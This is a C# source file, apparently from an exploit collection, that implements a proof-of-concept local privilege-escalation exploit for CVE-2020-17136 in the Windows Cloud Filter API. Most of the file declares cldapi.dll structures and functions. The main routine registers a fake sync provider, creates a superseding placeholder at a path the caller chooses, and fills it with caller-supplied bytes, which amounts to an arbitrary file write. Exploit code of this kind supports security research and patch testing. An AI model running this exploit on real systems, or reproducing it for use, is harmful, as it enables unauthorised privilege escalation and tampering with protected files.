external/source/exploits/CVE-2020-17136/POC_CloudFilter_ArbitraryFile_EoP/Program.cs
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace POC_CloudFilter_ArbitraryFile_EoP
{
static class Program
{
[StructLayout(LayoutKind.Explicit)]
public struct LargeIntegerStruct
{
[FieldOffset(0)]
public uint LowPart;
[FieldOffset(4)]
public int HighPart;
[FieldOffset(0)]
public long QuadPart;
public LargeIntegerStruct(long quadpart)
{
LowPart = 0;
HighPart = 0;
QuadPart = quadpart;
}
}
[StructLayout(LayoutKind.Sequential)]
public struct FileBasicInformation
{
public LargeIntegerStruct CreationTime;
public LargeIntegerStruct LastAccessTime;
public LargeIntegerStruct LastWriteTime;
public LargeIntegerStruct ChangeTime;
public FileAttributes FileAttributes;
}
[StructLayout(LayoutKind.Sequential)]
struct CF_FS_METADATA
{
public FileBasicInformation BasicInfo;
public LargeIntegerStruct FileSize;
}
[Flags]
enum CF_PLACEHOLDER_CREATE_FLAGS
{
CF_PLACEHOLDER_CREATE_FLAG_NONE = 0x00000000,
CF_PLACEHOLDER_CREATE_FLAG_DISABLE_ON_DEMAND_POPULATION = 0x00000001,
CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC = 0x00000002,
CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE = 0x00000004,
CF_PLACEHOLDER_CREATE_FLAG_ALWAYS_FULL = 0x00000008,
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct CF_PLACEHOLDER_CREATE_INFO
{
[MarshalAs(UnmanagedType.LPWStr)]
public string RelativeFileName;
public CF_FS_METADATA FsMetadata;
public IntPtr FileIdentity;
public int FileIdentityLength;
public CF_PLACEHOLDER_CREATE_FLAGS Flags;
public int Result;
public long CreateUsn;
}
enum CF_HYDRATION_POLICY_PRIMARY : ushort
{
CF_HYDRATION_POLICY_PARTIAL = 0,
CF_HYDRATION_POLICY_PROGRESSIVE = 1,
CF_HYDRATION_POLICY_FULL = 2,
CF_HYDRATION_POLICY_ALWAYS_FULL = 3,
}
[Flags]
enum CF_HYDRATION_POLICY_MODIFIER : ushort
{
CF_HYDRATION_POLICY_MODIFIER_NONE = 0x0000,
CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED = 0x0001,
CF_HYDRATION_POLICY_MODIFIER_STREAMING_ALLOWED = 0x0002,
CF_HYDRATION_POLICY_MODIFIER_AUTO_DEHYDRATION_ALLOWED = 0x0004,
}
[StructLayout(LayoutKind.Sequential)]
struct CF_HYDRATION_POLICY
{
public CF_HYDRATION_POLICY_PRIMARY Primary;
public CF_HYDRATION_POLICY_MODIFIER Modifier;
}
enum CF_POPULATION_POLICY_PRIMARY : ushort
{
CF_POPULATION_POLICY_PARTIAL = 0,
CF_POPULATION_POLICY_FULL = 2,
CF_POPULATION_POLICY_ALWAYS_FULL = 3,
}
enum CF_POPULATION_POLICY_MODIFIER : ushort
{
CF_POPULATION_POLICY_MODIFIER_NONE = 0x0000,
}
[StructLayout(LayoutKind.Sequential)]
struct CF_POPULATION_POLICY
{
public CF_POPULATION_POLICY_PRIMARY Primary;
public CF_POPULATION_POLICY_MODIFIER Modifier;
}
[Flags]
enum CF_PLACEHOLDER_MANAGEMENT_POLICY
{
CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT = 0x00000000,
CF_PLACEHOLDER_MANAGEMENT_POLICY_CREATE_UNRESTRICTED = 0x00000001,
CF_PLACEHOLDER_MANAGEMENT_POLICY_CONVERT_TO_UNRESTRICTED = 0x00000002,
CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED = 0x00000004,
}
[Flags]
enum CF_INSYNC_POLICY : uint
{
CF_INSYNC_POLICY_NONE = 0x00000000,
CF_INSYNC_POLICY_TRACK_FILE_CREATION_TIME = 0x00000001,
CF_INSYNC_POLICY_TRACK_FILE_READONLY_ATTRIBUTE = 0x00000002,
CF_INSYNC_POLICY_TRACK_FILE_HIDDEN_ATTRIBUTE = 0x00000004,
CF_INSYNC_POLICY_TRACK_FILE_SYSTEM_ATTRIBUTE = 0x00000008,
CF_INSYNC_POLICY_TRACK_DIRECTORY_CREATION_TIME = 0x00000010,
CF_INSYNC_POLICY_TRACK_DIRECTORY_READONLY_ATTRIBUTE = 0x00000020,
CF_INSYNC_POLICY_TRACK_DIRECTORY_HIDDEN_ATTRIBUTE = 0x00000040,
CF_INSYNC_POLICY_TRACK_DIRECTORY_SYSTEM_ATTRIBUTE = 0x00000080,
CF_INSYNC_POLICY_TRACK_FILE_LAST_WRITE_TIME = 0x00000100,
CF_INSYNC_POLICY_TRACK_DIRECTORY_LAST_WRITE_TIME = 0x00000200,
CF_INSYNC_POLICY_TRACK_FILE_ALL = 0x0055550f,
CF_INSYNC_POLICY_TRACK_DIRECTORY_ALL = 0x00aaaaf0,
CF_INSYNC_POLICY_TRACK_ALL = 0x00ffffff,
CF_INSYNC_POLICY_PRESERVE_INSYNC_FOR_SYNC_ENGINE = 0x80000000,
}
[Flags]
enum CF_HARDLINK_POLICY
{
CF_HARDLINK_POLICY_NONE = 0x00000000,
CF_HARDLINK_POLICY_ALLOWED = 0x00000001,
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct CF_SYNC_POLICIES
{
public int StructSize;
public CF_HYDRATION_POLICY Hydration;
public CF_POPULATION_POLICY Population;
public CF_INSYNC_POLICY InSync;
public CF_HARDLINK_POLICY HardLink;
public CF_PLACEHOLDER_MANAGEMENT_POLICY PlaceholderManagement;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct CF_SYNC_REGISTRATION
{
public int StructSize;
public string ProviderName;
public string ProviderVersion;
public IntPtr SyncRootIdentity;
public int SyncRootIdentityLength;
public IntPtr FileIdentity;
public int FileIdentityLength;
public Guid ProviderId;
}
[Flags]
enum CF_REGISTER_FLAGS
{
CF_REGISTER_FLAG_NONE = 0x00000000,
CF_REGISTER_FLAG_UPDATE = 0x00000001,
CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT = 0x00000002,
CF_REGISTER_FLAG_MARK_IN_SYNC_ON_ROOT = 0x00000004,
}
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
static extern int CfRegisterSyncRoot(
string SyncRootPath,
in CF_SYNC_REGISTRATION Registration,
in CF_SYNC_POLICIES Policies,
CF_REGISTER_FLAGS RegisterFlags
);
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
static extern int CfUnregisterSyncRoot(
string SyncRootPath
);
const byte CF_MAX_PRIORITY_HINT = 15;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct CF_CALLBACK_INFO
{
public int StructSize;
public long ConnectionKey;
public IntPtr CallbackContext;
[MarshalAs(UnmanagedType.LPWStr)]
public string VolumeGuidName;
[MarshalAs(UnmanagedType.LPWStr)]
public string VolumeDosName;
public int VolumeSerialNumber;
public LargeIntegerStruct SyncRootFileId;
public IntPtr SyncRootIdentity;
public int SyncRootIdentityLength;
public LargeIntegerStruct FileId;
public LargeIntegerStruct FileSize;
public IntPtr FileIdentity;
public int FileIdentityLength;
[MarshalAs(UnmanagedType.LPWStr)]
public string NormalizedPath;
public long TransferKey;
public byte PriorityHint;
public IntPtr CorrelationVector; // PCORRELATION_VECTOR
public IntPtr ProcessInfo; // CF_PROCESS_INFO*
public long RequestKey;
}
[Flags]
enum CF_CALLBACK_FETCH_DATA_FLAGS
{
CF_CALLBACK_FETCH_DATA_FLAG_NONE = 0x00000000,
CF_CALLBACK_FETCH_DATA_FLAG_RECOVERY = 0x00000001,
CF_CALLBACK_FETCH_DATA_FLAG_EXPLICIT_HYDRATION = 0x00000002,
}
[Flags]
enum CF_CALLBACK_CLOSE_COMPLETION_FLAGS
{
CF_CALLBACK_CLOSE_COMPLETION_FLAG_NONE = 0x00000000,
CF_CALLBACK_CLOSE_COMPLETION_FLAG_DELETED = 0x00000001,
}
[Flags]
enum CF_CALLBACK_DEHYDRATE_FLAGS
{
CF_CALLBACK_DEHYDRATE_FLAG_NONE = 0x00000000,
CF_CALLBACK_DEHYDRATE_FLAG_BACKGROUND = 0x00000001,
}
[Flags]
enum CF_CALLBACK_DEHYDRATE_COMPLETION_FLAGS
{
CF_CALLBACK_DEHYDRATE_COMPLETION_FLAG_NONE = 0x00000000,
CF_CALLBACK_DEHYDRATE_COMPLETION_FLAG_BACKGROUND = 0x00000001,
CF_CALLBACK_DEHYDRATE_COMPLETION_FLAG_DEHYDRATED = 0x00000002,
}
[Flags]
enum CF_CALLBACK_DEHYDRATION_REASON
{
CF_CALLBACK_DEHYDRATION_REASON_NONE,
CF_CALLBACK_DEHYDRATION_REASON_USER_MANUAL,
CF_CALLBACK_DEHYDRATION_REASON_SYSTEM_LOW_SPACE,
CF_CALLBACK_DEHYDRATION_REASON_SYSTEM_INACTIVITY,
CF_CALLBACK_DEHYDRATION_REASON_SYSTEM_OS_UPGRADE,
}
[StructLayout(LayoutKind.Sequential)]
struct CF_CALLBACK_PARAMETERS_FETCH_DATA
{
public IntPtr ParamSize;
public CF_CALLBACK_FETCH_DATA_FLAGS Flags;
public LargeIntegerStruct RequiredFileOffset;
public LargeIntegerStruct RequiredLength;
public LargeIntegerStruct OptionalFileOffset;
public LargeIntegerStruct OptionalLength;
public LargeIntegerStruct LastDehydrationTime;
public CF_CALLBACK_DEHYDRATION_REASON LastDehydrationReason;
}
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
delegate void CF_CALLBACK(in CF_CALLBACK_INFO CallbackInfo, IntPtr CallbackParameters);
enum CF_CALLBACK_TYPE : uint
{
CF_CALLBACK_TYPE_FETCH_DATA,
CF_CALLBACK_TYPE_VALIDATE_DATA,
CF_CALLBACK_TYPE_CANCEL_FETCH_DATA,
CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS,
CF_CALLBACK_TYPE_CANCEL_FETCH_PLACEHOLDERS,
CF_CALLBACK_TYPE_NOTIFY_FILE_OPEN_COMPLETION,
CF_CALLBACK_TYPE_NOTIFY_FILE_CLOSE_COMPLETION,
CF_CALLBACK_TYPE_NOTIFY_DEHYDRATE,
CF_CALLBACK_TYPE_NOTIFY_DEHYDRATE_COMPLETION,
CF_CALLBACK_TYPE_NOTIFY_DELETE,
CF_CALLBACK_TYPE_NOTIFY_DELETE_COMPLETION,
CF_CALLBACK_TYPE_NOTIFY_RENAME,
CF_CALLBACK_TYPE_NOTIFY_RENAME_COMPLETION,
CF_CALLBACK_TYPE_NONE = 0xffffffff
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct CF_CALLBACK_REGISTRATION
{
public CF_CALLBACK_TYPE Type;
[MarshalAs(UnmanagedType.FunctionPtr)]
public CF_CALLBACK Callback;
}
// #define CF_CALLBACK_REGISTRATION_END {CF_CALLBACK_TYPE_NONE, NULL}
[Flags]
enum CF_CONNECT_FLAGS
{
CF_CONNECT_FLAG_NONE = 0x00000000,
CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO = 0x00000002,
CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH = 0x00000004,
CF_CONNECT_FLAG_BLOCK_SELF_IMPLICIT_HYDRATION = 0x00000008,
}
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
static extern int CfConnectSyncRoot(
string SyncRootPath,
[MarshalAs(UnmanagedType.LPArray), In] CF_CALLBACK_REGISTRATION[] CallbackTable,
IntPtr CallbackContext,
CF_CONNECT_FLAGS ConnectFlags,
out long ConnectionKey
);
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
static extern int CfDisconnectSyncRoot(
long ConnectionKey
);
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
static extern int CfGetTransferKey(
SafeHandle FileHandle,
out long TransferKey
);
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
static extern void CfReleaseTransferKey(
SafeHandle FileHandle,
ref long TransferKey
);
[Flags]
enum CF_CONVERT_FLAGS
{
CF_CONVERT_FLAG_NONE = 0x00000000,
CF_CONVERT_FLAG_MARK_IN_SYNC = 0x00000001,
CF_CONVERT_FLAG_DEHYDRATE = 0x00000002,
CF_CONVERT_FLAG_ENABLE_ON_DEMAND_POPULATION = 0x00000004,
CF_CONVERT_FLAG_ALWAYS_FULL = 0x00000008,
}
[Flags]
enum CF_CREATE_FLAGS
{
CF_CREATE_FLAG_NONE = 0x00000000,
CF_CREATE_FLAG_STOP_ON_ERROR = 0x00000001,
}
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
static extern int CfCreatePlaceholders(
string BaseDirectoryPath,
[In, Out, MarshalAs(UnmanagedType.LPArray)] CF_PLACEHOLDER_CREATE_INFO[] PlaceholderArray,
int PlaceholderCount,
CF_CREATE_FLAGS CreateFlags,
out int EntriesProcessed
);
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
static extern int CfConvertToPlaceholder(
SafeHandle FileHandle,
IntPtr FileIdentity,
int FileIdentityLength,
CF_CONVERT_FLAGS ConvertFlags,
out long ConvertUsn,
IntPtr Overlapped
);
enum CF_HYDRATE_FLAGS
{
CF_HYDRATE_FLAG_NONE
};
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
static extern int CfHydratePlaceholder(
SafeHandle FileHandle,
LargeIntegerStruct StartingOffset,
LargeIntegerStruct Length,
CF_HYDRATE_FLAGS HydrateFlags,
IntPtr Overlapped
);
enum CF_OPERATION_TYPE
{
CF_OPERATION_TYPE_TRANSFER_DATA,
CF_OPERATION_TYPE_RETRIEVE_DATA,
CF_OPERATION_TYPE_ACK_DATA,
CF_OPERATION_TYPE_RESTART_HYDRATION,
CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS,
CF_OPERATION_TYPE_ACK_DEHYDRATE,
CF_OPERATION_TYPE_ACK_DELETE,
CF_OPERATION_TYPE_ACK_RENAME,
}
[StructLayout(LayoutKind.Sequential)]
struct CF_SYNC_STATUS
{
public int StructSize;
public int Code;
public int DescriptionOffset;
public int DescriptionLength;
public int DeviceIdOffset;
public int DeviceIdLength;
}
[StructLayout(LayoutKind.Sequential)]
struct CF_OPERATION_INFO
{
public int StructSize;
public CF_OPERATION_TYPE Type;
public long ConnectionKey;
public long TransferKey;
public IntPtr CorrelationVector; // CONST CORRELATION_VECTOR*
public IntPtr SyncStatus; // CF_SYNC_STATUS*
public long RequestKey;
}
enum CF_OPERATION_TRANSFER_DATA_FLAGS
{
CF_OPERATION_TRANSFER_DATA_FLAG_NONE = 0x00000000,
}
enum CF_OPERATION_RETRIEVE_DATA_FLAGS
{
CF_OPERATION_RETRIEVE_DATA_FLAG_NONE = 0x00000000,
}
enum CF_OPERATION_ACK_DATA_FLAGS
{
CF_OPERATION_ACK_DATA_FLAG_NONE = 0x00000000,
}
enum CF_OPERATION_RESTART_HYDRATION_FLAGS
{
CF_OPERATION_RESTART_HYDRATION_FLAG_NONE = 0x00000000,
CF_OPERATION_RESTART_HYDRATION_FLAG_MARK_IN_SYNC = 0x00000001,
}
enum CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAGS
{
CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE = 0x00000000,
CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_STOP_ON_ERROR = 0x00000001,
CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_DISABLE_ON_DEMAND_POPULATION = 0x00000002,
}
enum CF_OPERATION_ACK_DEHYDRATE_FLAGS
{
CF_OPERATION_ACK_DEHYDRATE_FLAG_NONE = 0x00000000,
}
enum CF_OPERATION_ACK_RENAME_FLAGS
{
CF_OPERATION_ACK_RENAME_FLAG_NONE = 0x00000000,
}
enum CF_OPERATION_ACK_DELETE_FLAGS
{
CF_OPERATION_ACK_DELETE_FLAG_NONE = 0x00000000,
}
[StructLayout(LayoutKind.Sequential)]
struct CF_OPERATION_PARAMETERS
{
public IntPtr ParamSize;
public CF_OPERATION_TRANSFER_DATA_FLAGS Flags;
public int CompletionStatus;
public IntPtr Buffer;
public LargeIntegerStruct Offset;
public LargeIntegerStruct Length;
}
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
static extern int CfExecute(
in CF_OPERATION_INFO OpInfo,
ref CF_OPERATION_PARAMETERS OpParams
);
static Guid ProviderId = new Guid("{B196E670-59C7-4D41-9637-C62D80541321}");
static int Check(this int hr)
{
if (hr < 0)
Marshal.ThrowExceptionForHR(hr);
return hr;
}
static byte[] DataToWrite = null;
static void DoTransferCallback(in CF_CALLBACK_INFO CallbackInfo, IntPtr CallbackParameters)
{
var ps = Marshal.PtrToStructure<CF_CALLBACK_PARAMETERS_FETCH_DATA>(CallbackParameters);
Console.WriteLine("{0} {1}", CallbackInfo, ps);
CF_OPERATION_INFO opInfo = new CF_OPERATION_INFO();
CF_OPERATION_PARAMETERS opParams = new CF_OPERATION_PARAMETERS();
try
{
opInfo.StructSize = Marshal.SizeOf(opInfo);
opInfo.Type = CF_OPERATION_TYPE.CF_OPERATION_TYPE_TRANSFER_DATA;
opInfo.ConnectionKey = CallbackInfo.ConnectionKey;
opInfo.TransferKey = CallbackInfo.TransferKey;
int length = (int)ps.RequiredLength.QuadPart;
int offset = (int)ps.RequiredFileOffset.QuadPart;
IntPtr buffer = Marshal.AllocHGlobal(new IntPtr(length));
try
{
Marshal.Copy(DataToWrite, offset, buffer, length);
Console.WriteLine("Requesting length {0} offset {1}", length, offset);
opParams.ParamSize = new IntPtr(Marshal.SizeOf(opParams));
opParams.CompletionStatus = 0;
opParams.Buffer = buffer;
opParams.Offset = ps.RequiredFileOffset;
opParams.Length = ps.RequiredLength;
CfExecute(opInfo, ref opParams).Check();
}
finally
{
Marshal.FreeHGlobal(buffer);
}
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
}
public static byte[] StringToByteArray(String hex)
{
int NumberChars = hex.Length;
Console.WriteLine(NumberChars);
byte[] bytes = new byte[NumberChars];
for (int i = 0; i < NumberChars; i += 1)
{
bytes[i] = Convert.ToByte(hex[i]);
}
Console.WriteLine(bytes);
return bytes;
}
static void Main(string[] args)
{
try
{
if (!Environment.Is64BitProcess)
throw new ArgumentException("Only implemented for 64-bit.");
if (args.Length != 3)
{
throw new ArgumentException("POC_CloudFilter_ArbitraryFile_EoP.exe *root path* *rest of the file path* *path to file to copy*\r\n");
}
string SyncRoot = args[0];
string FilePath = args[1];
DataToWrite = File.ReadAllBytes(args[2]);
CF_SYNC_REGISTRATION reg = new CF_SYNC_REGISTRATION();
reg.StructSize = Marshal.SizeOf(reg);
reg.ProviderName = "Flubber";
reg.ProviderVersion = "1.0";
reg.ProviderId = ProviderId;
CF_SYNC_POLICIES policies = new CF_SYNC_POLICIES();
policies.StructSize = Marshal.SizeOf(policies);
policies.HardLink = CF_HARDLINK_POLICY.CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration = new CF_HYDRATION_POLICY() { Primary = CF_HYDRATION_POLICY_PRIMARY.CF_HYDRATION_POLICY_FULL };
policies.InSync = CF_INSYNC_POLICY.CF_INSYNC_POLICY_NONE;
policies.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY.CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
policies.Population = new CF_POPULATION_POLICY() { Primary = CF_POPULATION_POLICY_PRIMARY.CF_POPULATION_POLICY_PARTIAL };
CfRegisterSyncRoot(SyncRoot, reg, policies, CF_REGISTER_FLAGS.CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT).Check();
try
{
CF_CALLBACK_REGISTRATION[] table = new CF_CALLBACK_REGISTRATION[2];
table[0] = new CF_CALLBACK_REGISTRATION() { Callback = DoTransferCallback, Type = CF_CALLBACK_TYPE.CF_CALLBACK_TYPE_FETCH_DATA };
table[1] = new CF_CALLBACK_REGISTRATION() { Callback = null, Type = CF_CALLBACK_TYPE.CF_CALLBACK_TYPE_NONE };
CfConnectSyncRoot(SyncRoot, table, IntPtr.Zero, CF_CONNECT_FLAGS.CF_CONNECT_FLAG_NONE, out long key).Check();
try
{
Console.WriteLine("Sync connection key: {0}", key);
CF_PLACEHOLDER_CREATE_INFO[] place_holders = new CF_PLACEHOLDER_CREATE_INFO[1];
place_holders[0].RelativeFileName = FilePath;
CF_FS_METADATA meta_data = new CF_FS_METADATA
{
FileSize = new LargeIntegerStruct() { QuadPart = DataToWrite.Length },
BasicInfo = new FileBasicInformation()
{
FileAttributes = FileAttributes.Normal,
CreationTime = new LargeIntegerStruct() { QuadPart = DateTime.Now.ToFileTime() },
}
};
place_holders[0].FsMetadata = meta_data;
place_holders[0].Flags = CF_PLACEHOLDER_CREATE_FLAGS.CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE
| CF_PLACEHOLDER_CREATE_FLAGS.CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
place_holders[0].FileIdentity = Marshal.AllocHGlobal(0x130);
place_holders[0].FileIdentityLength = 0x130;
CfCreatePlaceholders(SyncRoot, place_holders, 1,
CF_CREATE_FLAGS.CF_CREATE_FLAG_STOP_ON_ERROR, out int processed).Check();
string path = Path.Combine(SyncRoot, FilePath);
File.WriteAllBytes(path, DataToWrite);
Console.WriteLine("Done");
}
finally
{
CfDisconnectSyncRoot(key).Check();
}
}
finally
{
CfUnregisterSyncRoot(SyncRoot).Check();
Environment.Exit(0);
}
}
catch (Exception ex)
{
Console.WriteLine(ex);
Environment.Exit(-10);
}
}
}
}